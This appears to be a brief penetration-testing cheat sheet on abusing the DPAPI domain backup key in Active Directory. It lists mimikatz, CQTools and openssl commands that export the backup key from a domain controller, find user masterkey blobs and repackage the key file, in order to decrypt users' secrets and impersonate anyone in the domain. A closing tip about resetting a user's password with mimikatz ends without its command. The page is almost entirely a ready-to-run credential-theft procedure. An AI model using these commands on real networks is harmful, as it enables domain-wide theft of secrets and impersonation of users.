DPAPI Domain Backup Key
Exporting DPAPI Domain Backup Key from a domain controller with mimikatz, and explaining how to recreate a user's masterkey (AKA Impersonate ANYONE within the domain)
Tools: Mimikatz, CQTools https://github.com/BlackDiverX/cqtools
Requirements: System level access on the host
Steps:
mimikatz.exe lsadump::backupkeys /system:localhost /export (Dump the DPAPI Domain Backup Key from DC)CQDPAPIBlobSearcher.exe /d c:\users\USER\AppData\Roaming /r /o c:users\USER\Desktop\blob (Finds the Masterkey, which shown as mkguid on results)openssl pkcs12 -in DMK.pfx -out temp.pem -nodes (Password is mimikatz because it was extracted with mimikatz from DC)openssl pkcs12 -export -out DMK.pfx -in temp.pem (Use cqure as passphrase. We repacked the pfx using "cqure" as passphrase to make the cqtool work or else it will fail)TIP: In case we cannot crack the NTLM password of a user, we can simply create a new password with mimikatz:
Last updated